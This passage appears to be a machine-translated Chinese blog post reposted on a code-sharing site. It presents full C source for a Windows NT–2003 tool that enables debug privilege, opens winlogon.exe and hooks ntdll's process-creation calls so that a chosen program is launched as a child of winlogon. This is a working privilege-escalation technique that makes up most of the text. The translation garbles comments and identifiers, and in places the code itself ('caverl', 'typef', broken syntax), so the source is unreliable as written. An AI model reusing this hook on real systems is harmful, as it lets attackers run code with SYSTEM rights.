aspect. Sysproc_now.c demonstrates these two system call interfaces, but use condition compilation to comment, you can choose any of your own hobbies, you can achieve the purpose.

-------------------------------------------------- ------------------------ / ** for x86 / ewindows XP SP1 & VC 7 * CL sysproc_now.c / os / g6 / w3 ** support For Windows NT3.51 NT4.0 2000 * (C) 1999 ASHOT OGANESYAN K, Smartline, Inc * ASHOT OGANESYAN K ** Add support for Windows XP / 2003 by scz * 2003-06-21 21:22 * // ****************************************************** ********************************* ** Head file ** ********* *********************************************************** ************** / # include #include #include #include / ***** *********************************************************** **************** ** macro ** ************************************* *************************************************************** / # Pragma Comment Linker, "/ subsystem: console") #pragma Comment (lib, "kernel32.lib") #pragma comment (lib, "advapi32.lib") typef long ntstatus; / ** you'll Find A List of NTSTATUS Status Codes In the ddk header * ntstatus.h (/Winddk/2600.1106/inc/ddk/wxp/)*/#define NT_Success (status) (status) (status)> = 0) #define status_info_length_mismatch ((ntstatus) 0xc000000004L) / ************************ *********************************************************** NTDDK.H * / TYPEDEF Long Kpriority; / ** NTDDK.H ********************************************** **************************************** * *********** *********************************************************** **************** ntdef.h * / typedef struct _UNICODE_STRING {USHORT Length; USHORT MaximumLength; PWSTR Buffer;} UNICODE_STRING, * PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES {ULONG Length; HANDLE RootDirectory; Punicode_String ObjectName; Ulong Attributes; PVOID SecurityDescriptor; Pvoid ​​SecurityQualityOfService

} Object_attributes, * pobject_attributes; / ** NTDEF.H ********************************************************* ********************************** // ************ *********************************************************** ************* << Windows NT / 2000 Native API Reference >> - Gary Nebbett * / typedef enum _SYSTEM_INFORMATION_CLASS {SystemProcessesAndThreadsInformation = 5} SYSTEM_INFORMATION_CLASS; / ** Information Class 5 ** for convenience compiled I will throw away the members after InheritedFromProcessId * / typedef struct _SYSTEM_PROCESSES {ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved1 [6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId;} System_processes, * psystem_processes; / ** << Windows NT / 2000 Native API Reference >> - Gary Nebbet **************************************** ****************************************************** // ** See DDK documentation and << Windows NT / 2000 Native API Reference >> - Gary Nebbett * These native APIs are output from NTDLL.DLL * / typedef ulong (__stdcall * RTLNTSTATUS TODOSERROR) (IN NTSTATUS Status); typedef NTSTATUS (__stdcall * ZWCREATEPROCESS) (OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE InheritFromProcessHandle, IN BOOLEAN InheritHandles, IN HANDLE SectionHandle OPTIONAL, IN HANDLE DebugPort OPTIONAL, IN HANDLE ExceptionPort OPTIONAL ); typedef NTSTATUS (__stdcall * ZWQUERYSYSTEMINFORMATION) (IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL); # pragma pack (push, 1) typedef struct {unsigned char mov_eax; void * address; unsigned short INT JMP_EAX;} asmjump, * Pasmjump;

#pragma Pack (POP) / **************************************************** **************************** ******* ** ************** *********************************************************** ********* / static BOOL DisableCurrentProcessDebugPrivilege (void); static BOOL EnableCurrentProcessDebugPrivilege (void); static DWORD GetPidFromProcessName (wchar_t * ProcessName); static BOOL LocateNtdllEntry (void); static void PrintWin32Error (char * message, DWORD dwMessageId ); static void PrintZwError (char * message, NTSTATUS status); static BOOL SetCurrentProcessPrivilege (LPCTSTR PrivilegeName, BOOL EnableFlag); static BOOL SetPrivilege (HANDLE TokenHandle, LPCTSTR PrivilegeName, BOOL EnableFlag); / ********** *********************************************************** ************ ** Static global var ** ************************************************ **************************************************** / / ** are made from NTDLL. DLL output Native API function pointer * / static rtlntstatusrror = null; static zwcreateprocess zwcreateprocess = NUL L; static ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL; / ** This is a XP / 2003 new Native API, a total of nine parameter than ZwCreateProcess () one more * / static PVOID ZwCreateProcessEx = NULL; / ** winlogon.exe process Handle * / static handle winlogon = null; static dword zwcreateprocessnum = 0; static dword zwcreateprocessExnum = 0; / ********************************************** **************************************************************************************************** / Static Bool DisablecurrentProcessDebugprivilege ) {return (SetCurrentProcessPrivilege (SE_DEBUG_NAME, FALSE));} / * end of DisableCurrentProcessDebugPrivilege * / static BOOL EnableCurrentProcessDebugPrivilege (void) {return (SetCurrentProcessPrivilege (SE_DEBUG_NAME, TRUE));

} / * End of EnableCurrentProcessDebugPrivilege * / static DWORD GetPidFromProcessName (wchar_t * ProcessName) {NTSTATUS status; PVOID buf = NULL; ULONG size = 1; PSYSTEM_PROCESSES proc = NULL; ULONG delta = 0; DWORD pid = 0; for (size = 1 ; size * = 2) {IF (null == (buf = caverl (size, 1))) {fprintf (stderr, "calloc (% u, 1) failed / n", size); goto getpidFromProcessName_Exit;} status = ZwQuerySystemInformation (SystemProcessesAndThreadsInformation, buf, size, NULL); if {if (STATUS_INFO_LENGTH_MISMATCH == status) {free (buf) (NT_SUCCESS (status)!); buf = NULL;} else {PrintZwError ( "ZwQuerySystemInformation () failed", STATUS; goto getpidfromProcessName_Exit;}} else {/ ** Printf ("size =% u / n", size); * / break;}} / * end of for * / proc = (psystem_processes) buf; do {i (Null! = Proc-> processname.buffer) {if (0 == _wcsicmp (processname, proc-> processname.buffer) {pid = proc-> processid; break;}} Delta = proc-> nextentryDelta; proc = (Psystem_processes) ((char *) proc delta);} while (0! = Delta ); GetPidFromProcessName_exit:! If (buf = NULL) {free (buf); buf = NULL;} return (pid);} / * end of GetPidFromProcessName * / static void __declspec (naked) HackedZwCreateProcess (void) {/ *** *********************************************************** ****************** The code between the two __asm ​​{} is just debugging code, there is no practical meaning. * / __ASM {pushadpushfd} printf ("HackedzwcreateProcess () / n"); __ASM {popfdpopad} / ** The code between the two __asm ​​{} is just debugging code, there is no practical meaning.

*********************************************************** ******************** // ** Fourth Gench is inheritFromProcessHandle * [ESP] is the return address * / __ASM {MOV EAX, Winlogonmov DWORD PTR [ESP 16], EAX / ** EAX is the call number * / MOV EAX, ZwcreateProcessnum / ** Edx pointing to the meticulum area * / lea edx, dword ptr [ESP 4] int 2eh / ** __stdcall call style, the modulated function I am responsible for stack balance. * / RETN 20H}} / * end of hackedzwcreateprocess * / # if 0static void __declspec (naked) HACKEDZWCREATEPROCESSEX (VOID) {/ ********************************* **************************************************** These two The code between __asm ​​{} is just debugging code, there is no practical meaning. * / __ asm {pushadpushfd} printf ("HackedzwcreateProcessEx () / n"); __ asm {popfdpopad} / ** The code between the two __asm ​​{} is just debugging code, there is no practical meaning. *********************************************************** ******************** // ** Fourth Gench is inheritFromProcessHandle * [ESP] is the return address * / __ASM {MOV EAX, Winlogonmov DWORD PTR [ESP 16], EAX / ** EAX is the call number * / mov eax, zwcreateprocessexnum / ** Edx pointing to the denomin area * / lea edx, dword ptr [ESP 4] int 2EH / ** __STDCALL call style, the modulated function I am responsible for stack balance. Note that there are nine-shaped * ginseng and balance the stack to a DWORD. * / RETN 24H}} / * end of hackedzwcreateprocessex * / # endif # if 0static void __declspec (naked) HackedzwcreateProcessEx (void) {/ ********************** *********************************************************** The code between these two __asm ​​{} is just debugging code, there is no practical meaning. * / __ asm {pushadpushfd} printf ("HackedzwcreateProcessEx () / n"); __ asm {popfdpopad} / ** The code between the two __asm ​​{} is just debugging code, there is no practical meaning. *********************************************************** ******************** // ** Fourth Gench is inheritFromProcessHandle * [ESP] is the return address * / __ASM {MOV EAX, Winlogonmov DWORD PTR [ESP 16], eax / ** EAX is to call the number * / mov eax, ZwCreateProcessExNum / ** lkd> u 0x7ffe0300 * SharedUserData SystemCallStub:! * 7ffe0300 8bd4 mov edx, esp * 7ffe0302 0f34 sysenter * 7ffe0304 c3 ret * / mov edx, 7FFE0300hcall EDX / ** __STDCALL calls style, by the modulated function, responsible for the stack balance.

Note that there are nine-shaped * ginseng and balance the stack to a DWORD. * / RETN 24H}} / * End of HackedzwcreateProcessex * / # ENDIF / ** The two-segment code that is compiled over the top of the condition can be operated on XP / 2003. INT 2EH is a traditional system adjustment interface, and Sysenter is the so-called "fast system call interface", see the interpretation of the instruction in Intel Volume II. * VC 7 does not support Sysenter, I use _emit to embed the machine code directly. * / static void __declspec (naked) HackedzwcreateProcessex (void) {/ ********************************************** *********************************** The code between __asm ​​{} is just debugging code, There is no practical meaning. * / __ asm {pushadpushfd} printf ("HackedzwcreateProcessEx () / n"); __ asm {popfdpopad} / ** The code between the two __asm ​​{} is just debugging code, there is no practical meaning.

*********************************************************** ******************** // ** Fourth Gench is inheritFromProcessHandle * [ESP] is the return address * / __ASM {MOV EAX, Winlogonmov DWORD PTR [ESP 16], eax / ** EAX calling number * / mov eax, ZwCreateProcessExNumcall SystemCallStubretn 24hSystemCallStub: mov edx, esp / ** 0f34 sysenter * / _ emit 0x0f_emit 0x34ret}} / * end of HackedZwCreateProcessEx * // ** ntdll.dll output all the Native API * / static BOOL LocateNtdllEntry (void) {BOOL ret = FALSE; char nTDLL_DLL [] = "ntdll.dll"; HMODULE ntdll_dll = NULL; / ** returns a handle to a mapped module without incrementing its * reference count * / if ((ntdll_dll = GetModuleHandle (nTDLL_DLL)) == NULL) {PrintWin32Error ( "GetModuleHandle () failed", GetLastError ()); return (FALSE);}! if ((RtlNtStatusToDosError = (RTLNTSTATUSTODOSERROR) GetProcAddress (ntdll_dll , "RtlNtStatusToDosError"))) {goto LocateNtdllEntry_exit;}! if ((ZwCreateProcess = (ZWCREATEPROCESS) GetProcAddress (ntdll_dll, "ZwCreateProcess"))) {goto LocateNtdllEntry_exit;} if ((ZwQuerySystemInformat! ion = (ZWQUERYSYSTEMINFORMATION) GetProcAddress (ntdll_dll, "ZwQuerySystemInformation"))) {goto LocateNtdllEntry_exit;} if (!! ZwCreateProcessExNum = 0) {if ((ZwCreateProcessEx = (PVOID) GetProcAddress (ntdll_dll, "ZwCreateProcessEx"))) {goto LocateNtdllEntry_exit ;}} ret = TRUE; LocateNtdllEntry_exit: if (FALSE == ret) {PrintWin32Error ( "GetProcAddress () failed", GetLastError ());} ntdll_dll = NULL; return (ret);} / * end of LocateNtdllEntry * / static Void Printwin32error (Char * Message, DWORD DWMESSAGEID) {char * errmsg;

FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, dwMessageId, MAKELANGID (LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) & errMsg, 0, NULL); fprintf (stderr, "% s:% s", message, errMsg); LocalFree (errMsg); return ;} / * end of PrintWin32Error * / static void PrintZwError (char * message, NTSTATUS status) {char * errMsg; FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, RtlNtStatusToDosError (status), MAKELANGID (LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) & errMsg, 0, NULL); fprintf (stderr, "% s:% s", message, errMsg); LocalFree (errMsg); return;} / * end of PrintZwError * / static BOOL SetCurrentProcessPrivilege (LPCTSTR PrivilegeName, BOOL EnableFlag) {HANDLE TokenHandle = (HANDLE) -1; Bool Ret = true; / ** header: declared in winbase.h; incrude windows.h. * Library: use advapi32.lib. ** Bool OpenProcessToken * (* Handle ProcessHandle, * DWord DesiredAccess, * PHANDLE tokenhandle *); * / if (false == OpenProcesstoken (getCurrentProcess (), Token_ad JUST_PRIVILEGES, & TokenHandle)) {PrintWin32Error ( "OpenProcessToken () failed", GetLastError ()); ret = FALSE; goto SetCurrentProcessPrivilege_exit;} ret = SetPrivilege (TokenHandle, PrivilegeName, EnableFlag); SetCurrentProcessPrivilege_exit:! If (TokenHandle = (HANDLE) - 1) {CloseHandle (TokenHandle); TokenHandle = (HANDLE) -1;} return (ret);} / * end of SetCurrentProcessPrivilege * / static BOOL SetPrivilege (HANDLE TokenHandle, LPCTSTR PrivilegeName, BOOL EnableFlag) {DWORD error; BOOL ret = True; / *** TypedEf struct _token_privileges * {* dWord privilegegount; * Luid_and_attributes privileges []; *} token_privileges, * ptoken_privilege

** typedef struct _LUID_AND_ATTRIBUTES * {* LUID Luid; * DWORD Attributes; *} LUID_AND_ATTRIBUTES, * PLUID_AND_ATTRIBUTES; * / TOKEN_PRIVILEGES tp = {1, {{{0, 0}, 0}}}; if (EnableFlag == TRUE) {tp.Privileges [0] .Attributes = SE_PRIVILEGE_ENABLED;} / ** BOOL LookupPrivilegeValue * (* LPCTSTR lpSystemName, * LPCTSTR lpName, * PLUID lpLuid *); ** the second parameter may have a value in the winnt.h definitions, "NT defined Privileges" * / if (FALSE == LookupPrivilegeValue (NULL, PrivilegeName, & tp.Privileges [0] .Luid)) {PrintWin32Error ( "LookupPrivilegeValue () failed", GetLastError ()); ret = FALSE; goto SetPrivilege_exit;} / ** BOOL AdjustTokenPrivileges * (* HANDLE TokenHandle, * BOOL DisableAllPrivileges, * PTOKEN_PRIVILEGES NewState, * DWORD BufferLength, * PTOKEN_PRIVILEGES PreviousState, * PDWORD ReturnLength *); ** The AdjustTokenPrivileges function can not add new privileges to the * access token . IT can Iken's existing * privileges. To determine the token's privileges, call the * gettokenformation function. * / If (false == AdjustTokenPrivileges (TokenHandle, FALSE, & tp, sizeof (tp), NULL, NULL)) {PrintWin32Error ( "AdjustTokenPrivileges () failed", GetLastError ()); ret = FALSE; goto SetPrivilege_exit;} else {error = GetLastError (); / ** The incidence of this situation is very hidden, and it is important to pay attention.

** ERROR_NOT_ALL_ASSIGNED * / if (ERROR_SUCCESS = error!) {PrintWin32Error ( "AdjustTokenPrivileges () failed", error); ret = FALSE; goto SetPrivilege_exit;}} SetPrivilege_exit: return (ret);} / * end of SetPrivilege * / int main (int argc, char * argv []) {# if 0DisableCurrentProcessDebugPrivilege (); return (EXIT_SUCCESS); # endifOSVERSIONINFO osversioninfo; DWORD winlogonPid = 0; STARTUPINFO si = {sizeof (si)}; PROCESS_INFORMATION pi; / ** typedef struct _MEMORY_BASIC_INFORMATION * {* PVOID BaseAddress; * PVOID AllocationBase; * DWORD AllocationProtect; * SIZE_T RegionSize; * DWORD State; * DWORD Protect; * DWORD Type; *} MEMORY_BASIC_INFORMATION, * PMEMORY_BASIC_INFORMATION; * / MEMORY_BASIC_INFORMATION mbi; DWORD OldProtect; ZeroMemory (& pi, SizeOf (PI)); if (2! = argc) {fprintf (stderr, "usage:% s / n", argv [0]); goto main_exit;} / ** typef struct _osversionInfo * {* {* DWORD dwosveionsInfosize; * dword dwMajorversion; * DWORD dwminorversion; * dword dwbuildnumber; * dword dwplatformID; * tchar szcsd Version [128]; *} OSVERSIONINFO; ** BOOL GetVersionEx (LPOSVERSIONINFO lpVersionInfo); * / ZeroMemory (& osversioninfo, sizeof (osversioninfo)); osversioninfo.dwOSVersionInfoSize = sizeof (osversioninfo); if (FALSE == GetVersionEx (& osversioninfo)) { PrintWin32Error ( "GetVersionEx () failed", GetLastError ()); goto main_exit;} printf ( ". Version% u% u / n", osversioninfo.dwMajorVersion, osversioninfo.dwMinorVersion); if (osversioninfo.dwPlatformId == VER_PLATFORM_WIN32_NT) { IF (OsversionInfo.dwmajorversion == 3 && osversioninfo.dwminorversion == 51) {/ ** NT 3.51 * / zwcreateprocessnum = 0x1e;

} Else if (osversioninfo.dwMajorVersion == 4 && osversioninfo.dwMinorVersion == 0) {/ ** NT 4.0 * / ZwCreateProcessNum = 0x1F;} else if (osversioninfo.dwMajorVersion == 5 && osversioninfo.dwMinorVersion == 0) {/ ** 2000 * / zwcreateprocessnum = 0x29;} else if (OsversionInfo.dwmajorversion == 5 && osversioninfo.dwminorversion == 1) {/ ** XP ** Different from all previous versions, Win32 API / CREATEPROCESS () final call * Native API / ZWCREATEPROCESSEX (), so Hook 0x2f is useless. * / ZwCreateProcessExNum = 0x30;} else if (osversioninfo.dwMajorVersion == 5 && osversioninfo.dwMinorVersion == 2) {/ ** 2003 * / ZwCreateProcessExNum = 0x32;}} if (ZwCreateProcessNum == 0 && ZwCreateProcessExNum == 0) { FPrintf (stderr, "checking your platform / n"); goto main_exit;} = f (false == locatetdllentry ()) {fprintf (stderr, "locatentdllentry () failed / n"); goto main_exit;} / ** For convenience Users, we fix the Winlogon.exe process handle.

* / If (0 == (winlogonPid = GetPidFromProcessName (L "winlogon.exe"))) {fprintf (stderr, "GetPidFromProcessName () failed / n"); goto main_exit;} EnableCurrentProcessDebugPrivilege (); / ** Header: Declared in Winbase.h; include Windows.h * Library:.. Use kernel32.lib ** hANDLE OpenProcess * (* DWORD dwDesiredAccess, // access flag * BOOL bInheritHandle, // handle inheritance option * DWORD dwProcessId // process identifier *) ; * / if (NULL == (winlogon = OpenProcess (PROCESS_CREATE_PROCESS, TRUE, winlogonPid))) {PrintWin32Error ( "OpenProcess () failed", GetLastError ()); goto main_exit;} / ** DWORD VirtualQuery * (* LPCVOID lpAddress , // address of region * PMEMORY_BASIC_INFORMATION lpBuffer, // information buffer * SIZE_T dwLength // size of buffer *); * / ZeroMemory (& mbi, sizeof (mbi));! if (0 = ZwCreateProcessNum) {VirtualQuery (ZwCreateProcess, & mbi SizeOf (MBI));} else {VirtualQuery (ZwcreateProCESSEX, & MBI, SIZEOF (MBI));} / ** bool virtualprotect * (* lpvoid lpaddress, // region of committed P ages * SIZE_T dwSize, // size of the region * DWORD flNewProtect, // desired access protection * PDWORD lpflOldProtect // old protection *); * / if (FALSE == VirtualProtect (mbi.AllocationBase, mbi.RegionSize, PAGE_EXECUTE_READWRITE, & OldProtect )) {PrintWin32Error ( "VirtualProtect () failed", GetLastError ()); goto main_exit;}! if (0 = ZwCreateProcessNum) {/ ** mov eax, HackedZwCreateProcess * jmp eax * / ((PASMJUMP) ZwCreateProcess) -> mov_eax = 0xB8; (PASMJUMP) ZWCREATEPROCESS -> Address = HackedzwcreateProcess; (PASMJUMP) ZWCREATEPROCESS -> JMP_EAX = 0xE0FF;

} Else {/ ** mov eax, HackedZwCreateProcessEx * jmp eax * / ((PASMJUMP) ZwCreateProcessEx) -> mov_eax = 0xB8; ((PASMJUMP) ZwCreateProcessEx) -> address = HackedZwCreateProcessEx; ((PASMJUMP) ZwCreateProcessEx) -> jmp_eax = 0xE0FF ;} / ** BOOL CreateProcess * (* LPCTSTR lpApplicationName, // name of executable module * LPTSTR lpCommandLine, // command line string * LPSECURITY_ATTRIBUTES lpProcessAttributes, // SD * LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD * BOOL bInheritHandles, // handle inheritance option * DWORD dwCreationFlags, // creation flags * LPVOID lpEnvironment, // new environment block * LPCTSTR lpCurrentDirectory, // current directory name * lPSTARTUPINFO lpStartupInfo, // startup information * LPPROCESS_INFORMATION lpProcessInformation // process information *); * / if (FALSE == CreateProcess (NULL, argv [1], NULL, NULL, TRUE, CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP, NULL, NULL, & si, & pi)) {PrintWin32Error ( "CreateProcess () failed", GetLastError ()); goto main_exit;} / ** CREATEPROCESS () no matter if it is successful, Both returned. Unlike the exec * () under UNIX. * / main_exit: if (null! = pi.hthread) {closeHandle (pi.hthread); pi.hthread = null;} f (null! = pi.hprocess) {closeHandle (pi.hprocess); pi.hprocess = null }} (NULL! = Winlogon) {CloseHandle (Winlogon); Winlogon = null;} disablecurrentprocessdebugprivilegege (); return (exit_fail);} / * end of main * // ********************** *********************************************************** ********** / --------------------------------------- --------------------------------- As for CreateremoteThread (), I want to take care of the brothers of this. I, I am not familiar with it, this time I don't try it. The purpose is to practice, and so slowly familiar with some of the Windows corners of interest, and utilitarian is also. Thanks Rain, Flier's guidance and the shared code of Sparrow.

转载请注明原文地址:https://www.9cbs.com/read-41888.html

New Post(0)